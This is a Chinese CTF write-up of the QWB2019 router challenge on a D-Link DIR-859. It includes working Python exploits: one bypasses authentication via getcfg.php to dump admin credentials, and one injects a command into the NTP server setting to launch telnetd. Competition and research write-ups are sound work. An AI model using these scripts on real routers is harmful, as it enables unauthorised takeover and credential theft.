QWB2019线下Real World-Router WP

匿名 (未验证) 提交于 2019-12-02 23:43:01

0x00前言

今年强网杯线下只有PWN,Web狗觉得要来旅游了,不过看到Real World部分上来发了个D-Link路由器,还是决定玩一下,毕竟毕设中玩了不少路由器还是有点经验的。至于其他的题目,就只能看神仙打架了:P,膜手日Chrome、Qemu、各种CMS的大佬。

0x01题目

拿到一个D-Link DIR-859劲路由、串口调试设备和路由器固件。看到TTL转USB设备先去焊了会板子但我也不会在线调试栈溢出,就去解压固件了。注意这里binwalk和firmware-mod-kit不能直接解压,要先用dd切一下文件:

dd if=DIR859Ax_FW106b01_beta01_patch.bin of=DIR-859.img bs=1310868 skip=1 ./unsquashfs_all.sh DIR-859.img 

可以看到版本是B-1.06,而官网最新的固件型号是B-1.05,这两个固件差不多,cgibin大小有点不同,考虑后面比对一下。题目要求是拿到路由器shell,打开telnet服务,并在/tmp目录下面写指定文件。

0x02初步分析

首先先去CVE搜一下,当然不出意外的是没有CVE漏洞,题目中也说明了是主办方挖出了漏洞,已经通报厂商,但是还没有修补,但是现在看来其历史漏洞也没有。
打开路由器管理页面,与DIR-8xxx系列一模一样的界面扑面而来,除了换了版本固件号之外都一样,COPYRIGHT也只是到2015。考虑用相近版本号的已知漏洞来测一下。

0x03漏洞利用

掏出之前DIR-868和DIR-817LW上用的exp,改一下先来读一下账密:

# -*- coding:utf-8 -*- import requests, os from lxml import etree from traceback import print_exc try:     from urllib.parse import urljoin except:     from urlparse import urljoin from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) import re  url = 'http://192.168.0.1' print("Exploit start...") #########################get user and pass########################### try:     res = requests.post(urljoin(url,'/getcfg.php'),data={"SERVICES":"RUNTIME.WPS.WLAN-1","AUTHORIZED_GROUP":"1\n"})     # print(res.content) except:     print("exploit fail...")     print("you can try this command:")     print("curl -k -d \"SERVICES=RUNTIME.WPS.WLAN-1&AUTHORIZED_GROUP=1%0a\" {}getcfg.php".format(url))     print(os.system("curl -k -d \"SERVICES=RUNTIME.WPS.WLAN-1&AUTHORIZED_GROUP=1%0a\" {}getcfg.php".format(url)))     exit()  if 'Not authorized' in res.content:     print("authorize fail..")     exit() elif "BAD REQUEST" in res.content:     print("BAD REQUEST, unsupported HTTP request")  try:     name = re.findall("<name>(.*)</name>",res.content)     passwd = re.findall("<password>(.*)</password>",res.content)     print("name: %s\npasswd: %s\n"%(name[0],passwd[0])) except:     print("fail...")     print(res.content) 

区别是DIR-868/817LW是通过读取DEVICE.ACCOUNT.xml.php文件来获取账密,DIR-859是要通过RUNTIME.WPS.WLAN-1.xml.php来获取,寻找过程就是把所有文件全读一遍再Ctrl+F就可以了。漏洞出现在POST传入AUTHORIZED_GROUP=1\n可实现身份认证,通过getcfg.php读取配置文件。
但是题目要求是要拿到shell,即还需要一个命令执行漏洞来开启telnet服务,找相近型号路由器,发现了DIR-850L命令执行漏洞,其中漏洞存在于/etc/services/DEVICE.TIME.php

#/etc/services/DEVICE.TIME.php    163	$enable = query("/device/time/ntp/enable");    164	if($enable=="") $enable = 0;    165	$enablev6 = query("/device/time/ntp6/enable");    166	if($enablev6=="") $enablev6 = 0;    167	$server = query("/device/time/ntp/server");    ...    172	if ($enable==1 && $enablev6==1)    ...    184				'SERVER4='.$server.'\n'.    ...    189				'	ntpclient -h $SERVER4 -i 5 -s -4 > /dev/console\n'. 

其中$SERVER变量被拼接到了命令执行的字符串中,造成了命令注入。
下面的操作需要登陆,HNAP登陆过程有点小复杂,就没写,下面的脚本需要账密登陆后把cookie填进去

# -*- coding:utf-8 -*-  import requests, os from lxml import etree from traceback import print_exc try:     from urllib.parse import urljoin except:     from urlparse import urljoin from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) import re  url = 'http://192.168.0.1/' print("Exploit continuing...") COMMAND = 'telnetd' uid = 'b8gh3GJptw'         ###update it!!!!! session = requests.Session() session.verify = False session.cookies.update({"uid": uid}) ################get DEVICE.TIME############################### try:     res = session.post(urljoin(url,'/getcfg.php'),data={"SERVICES":"DEVICE.TIME","AUTHORIZED_GROUP":"1\n"})     # print(res.content)     tree = etree.fromstring(res.content)     tree.xpath("//ntp/enable")[0].text = "1"     tree.xpath("//ntp/server")[0].text = "metelesku; (" + COMMAND + ") & exit; "     tree.xpath("//ntp6/enable")[0].text = "1"     data = etree.tostring(tree)     # print(data) except:     print_exc()     pass # exit() #################POST hedwig.cgi############################### print("hedwig") headers = {"Content-Type": "text/xml"} data = etree.tostring(tree) resp = session.post(urljoin(url, "/hedwig.cgi"), headers=headers, data=data) # print(resp.text) tree = etree.fromstring(resp.content) result = tree.findtext("result") if result.lower() != "ok":     print("Failed!")     print(resp.text)     sys.exit() print("OK") ###############POST pigwidgeon.cgi############################## print("pigwidgeon") data = {"ACTIONS": "SETCFG,ACTIVATE"} resp = session.post(urljoin(url, "/pigwidgeon.cgi"), data=data) # print(resp.text) tree = etree.fromstring(resp.content) result = tree.findtext("result") if result.lower() != "ok":     print("Failed!")     print(resp.text)     exit() print("OK") 

这样就打开了路由器的telnet服务,可以telnet 192.168.0.1登陆上去进行操作了。

文章来源: https://blog.csdn.net/qq_33850304/article/details/92395201
易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!